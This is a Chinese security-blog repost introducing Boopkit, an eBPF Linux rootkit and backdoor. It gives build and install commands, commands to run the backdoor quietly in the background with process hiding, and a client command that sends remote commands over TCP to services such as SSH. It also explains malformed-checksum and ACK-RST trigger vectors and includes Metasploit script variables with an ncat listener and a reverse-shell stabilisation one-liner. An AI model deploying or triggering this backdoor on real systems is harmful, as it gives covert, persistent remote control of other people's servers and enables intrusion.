基于 TCP 的 Linux eBPF 后门

admin 2022年4月26日00:57:48安全博客评论62 views3557字阅读11分51秒阅读模式

点击上方蓝字“Ots安全”一起玩耍

================================================================
██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██╗████████╗ ██╔══██╗██╔═══██╗██╔═══██╗██╔══██╗██║ ██╔╝██║╚══██╔══╝ ██████╔╝██║ ██║██║ ██║██████╔╝█████╔╝ ██║ ██║ ██╔══██╗██║ ██║██║ ██║██╔═══╝ ██╔═██╗ ██║ ██║ ██████╔╝╚██████╔╝╚██████╔╝██║ ██║ ██╗██║ ██║ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ Author: Kris Nóva <[email protected]> Version 1.4.0 IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES.
DO NOT ATTEMPT TO USE THE TOOLS TO VIOLATE THE LAW. THE AUTHOR IS NOT RESPONSIBLE FOR ANY ILLEGAL ACTION. MISUSE OF THE SOFTWARE, INFORMATION, OR SOURCE CODE MAY RESULT IN CRIMINAL CHARGES. Use at your own risk.
================================================================
Boopkit.Linux rootkit and backdoor. Built using eBPF.
Usage: boopkit [options]
Options:-h, help Display help and usage for boopkit.-i, interface Interface name. lo, eth0, wlan0, etc-s, sudo-bypass Bypass sudo check. Breaks PID obfuscation.-r, reverse-conn Attempt a reverse RCE lookup if no payload found.-q, quiet Disable output.-x, reject Source addresses to reject triggers from.

Linux 后门、rootkit 和 eBPF 绕过工具。通过原始 TCP 执行远程命令。

  • 在 Linux 内核 5.16 上测试

  • 在 Linux 内核 5.17 上测试

  • 通过 TCP 远程执行代码(SSH、Nginx、Kubernetes 等)

  • 网络网关绕过(错误校验和,TCP 重置)

  • 运行时自我混淆(eBPF 进程隐藏)


服务器端

下载并构建 boopkit。

wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.3.0.tar.gztar -xzf v1.3.0.tar.gz cd boopkit-1.3.0/makesudo make install

在前台运行 boopkit。

# Reject all boops on localhost and 10.0.0.1boopkit -x 127.0.0.1 -x 10.0.0.1

以安静模式在后台运行 boopkit。

# Danger! This can be VERY hard to stop! Run this at your own risk!boopkit -q &

Boopkit 现在正在运行,可以使用客户端boopkit-boop命令行工具加以利用。


客户端

下载并构建 boopkit。

wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.2.0.tar.gztar -xzf v1.2.0.tar.gz cd boopkit-1.2.0/makesudo make install

对服务器运行 boopkit-boop。

# ===================RCE="ls -la"# ===================LHOST="127.0.0.1"LPORT="3535"RHOST="127.0.0.1"RPORT="22"boopkit-boop   -lhost $LHOST   -lport $LPORT   -rhost $RHOST   -rport $RPORT   -c "$RCE"

Boop 矢量图

Boopkit 将响应网络上的各种事件。两者都可以使用该boopkit-boop工具触发。

TCP 标头格式。取自RFC 793。1981 年 9 月

        0                   1                   2                   3        0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+       |          Source Port          |       Destination Port        |       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+       |                        Sequence Number                        |       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+       |                    Acknowledgment Number                      |       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+       |  Data |           |U|A|P|R|S|F|                               |       | Offset| Reserved  |R|C|S|S|Y|I|            Window             |       |       |           |G|K|H|T|N|N|                               |       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+       |           Checksum            |         Urgent Pointer        |       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+       |                    Options                    |    Padding    |       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+       {                             data                              }       {                             ....                              }       {                             data                              }       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

1. 校验和错误

首先,该工具将通过套接字boopkit-boop向服务器发送一个带有空校验和的格式错误的 TCP SYN 数据包。无论正在运行什么 TCP 服务,SOCK_RAW这都会远程触发。boopkit这适用于任何运行 boopkit 的 Linux 服务器,无论 TCP 服务的状态如何。


使用-pwithboopkit-boop仅使用第一个向量。


⚠️一些现代网络硬件将丢弃所有格式错误的校验和数据包,例如使用此向量利用 boopkit 所需的校验和数据包!


2.发送ACK-RST包

接下来,该boopkit-boop工具将使用SOCK_STREAM套接字针对远程 TCP 服务(如 SSH、Kubernetes、Nginx 等)完成有效的 TCP 握手。初始 TCP 握手完成后,boopkit-boop将第二次重复该过程。第二次握手将翻转数据包中的 TCP 重置标志,触发服务器上的 TCP 重置。


这些策略中的任何一种都足以独立触发 boopkit。各种网络硬件和运行时条件将使这两种策略都更加可行。默认情况下,Boopkit 会同时尝试这两种方法。


脚本

该boopscript文件是一个Metasploit兼容的脚本,boopkit-boop本地安装后可以远程触发boopkit后门。

RHOST="127.0.0.1"RPORT="22"LHOST="127.0.0.1"LPORT="3535"
NCAT="/usr/bin/ncat"NCATLISTENPORT="3545"


编译、依赖

  • 'clang'

  • 'bpftool' Required for libbpf

  • 'xdp-tools' Required for libxdp

  • 'llvm'

  • 'pcap'

  • 'lib32-glibc'


反壳稳定

python -c "import pty; pty.spawn('/bin/bash')"


项目地址:https://github.com/kris-nova/boopkit

基于 TCP 的 Linux eBPF 后门

原文始发于微信公众号(Ots安全):基于 TCP 的 Linux eBPF 后门

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月26日00:57:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  基于 TCP 的 Linux eBPF 后门 https://cn-sec.com/archives/941479.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: